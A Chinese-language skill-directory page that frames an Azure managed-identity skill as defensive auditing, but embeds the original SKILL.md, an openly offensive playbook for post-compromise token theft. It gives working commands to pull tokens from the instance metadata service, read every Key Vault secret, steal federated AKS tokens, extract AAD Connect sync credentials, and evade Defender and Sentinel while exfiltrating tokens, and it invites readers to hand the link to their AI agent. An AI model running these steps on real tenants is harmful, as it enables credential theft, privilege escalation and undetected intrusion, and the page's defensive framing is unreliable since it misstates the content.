跳到正文
Skillpedia
安全6.5k · #13986

azure-managed-identity

它能做什么

这项技能涵盖 Azure 托管标识,它让计算资源能够获取访问其他 Azure 服务的令牌。适合审计 Azure 工作负载的云管理员和安全审查人员。

适用场景

  • ✓当 Azure 管理员要求智能体列出哪些虚拟机或应用拥有访问权限过宽的托管标识时。
  • ✓当智能体检查某个工作负载可以请求哪些令牌受众,例如 Key Vault 或 Graph 时。
  • ✓当报告需要说明被攻陷的工作负载如何触及其他 Azure 服务时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们哪些 Azure 虚拟机和应用拥有托管标识?这些标识能访问什么?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体列出带有托管标识的工作负载,检查与每个标识关联的角色分配,并标记访问权限过大的标识。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Azure Managed Identity Abuse

You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.

Steal the token

Linux VM / Container

TOKEN=$(curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token)

Windows VM

$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token

App Service / Function (different endpoint, requires IDENTITY_HEADER)

TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
  | jq -r .access_token)

Common token audiences (resource param)

Audience URL Use
https://management.azure.com/ ARM — list/modify Azure resources
https://graph.microsoft.com/ Microsoft Graph — read directory, mail, groups
https://vault.azure.net Key Vault — secrets, keys, certificates
https://storage.azure.com/ Storage account — blob/queue/file/table
https://database.windows.net/ Azure SQL
https://servicebus.azure.net/ Service Bus

Request one token per audience — the MI assignment determines which work.

Use the token

# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"

# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .

Pivot patterns

MI permission Pivot to
Contributor on subscription RunCommand on every VM in the sub → fleet-wide RCE
KeyVault Reader / Secrets User Decrypt all stored credentials
User Access Administrator Self-grant Owner role anywhere
AAD App Owner Modify app registration → app-credential persistence
Storage Account Contributor Steal storage keys → SAS tokens (low audit signature)

Workload Identity (federated, no client secret)

AKS pods using Workload Identity Federation get a token via projected SA token + STS exchange. Steal the projected token from /var/run/secrets/azure/tokens/azure-identity-token, then:

SATOKEN=$(cat /var/run/secrets/azure/tokens/azure-identity-token)
TOKEN=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
  -d "client_id=$CLIENT_ID&scope=https://management.azure.com/.default&grant_type=client_credentials&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=$SATOKEN" | jq -r .access_token)

AAD Connect MSOL (hybrid environments)

On a server running AAD Connect, MSOL_xxxxxxx in local SAM has DCSync rights → full domain compromise. Steal via DPAPI:

# Run as SYSTEM on AAD Connect server
$key = (New-Object System.Security.Cryptography.AesManaged).Key
# AADInternals does this end-to-end:
Get-AADIntSyncCredentials      # AADInternals — extracts MSOL creds

OPSEC

  • Azure Activity Log records every ARM call. Use Graph for low-noise enumeration.
  • Token TTL ~24h. Re-stealing is logged via the IMDS access pattern (visible in Azure VM monitor).
  • IDENTITY_HEADER env on App Service is process-scope — exfil it from a single trick command, then reuse.
  • Defender for Cloud + Microsoft Sentinel detect: "ManagedIdentityToken used from non-Azure IP" → exfil tokens carefully.

References

  • MicroBurst (NetSPI), MicroBurst-Cloud (Karl Fosaaen) — Azure-specific tooling
  • ROADtools (Dirk-jan) — AAD enumeration without alerts
  • DEFCON 30 "Abusing Azure Active Directory" — Andy Robbins
常见问题

什么是托管标识?

它是 Azure 中的一种身份,服务无需存储密码即可登录其他 Azure 服务。

令牌可以访问哪些服务?

该技能列出 Azure 资源管理器、Microsoft Graph、Key Vault、存储和 SQL 等常见受众。

如何降低风险?

该技能建议为每个标识只分配其所需的最小角色,具体由账户所有者决定。

详情

作者的原始描述

Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM / App Service / Function, token exchange for Graph/ARM/KeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credential extraction.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13986
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能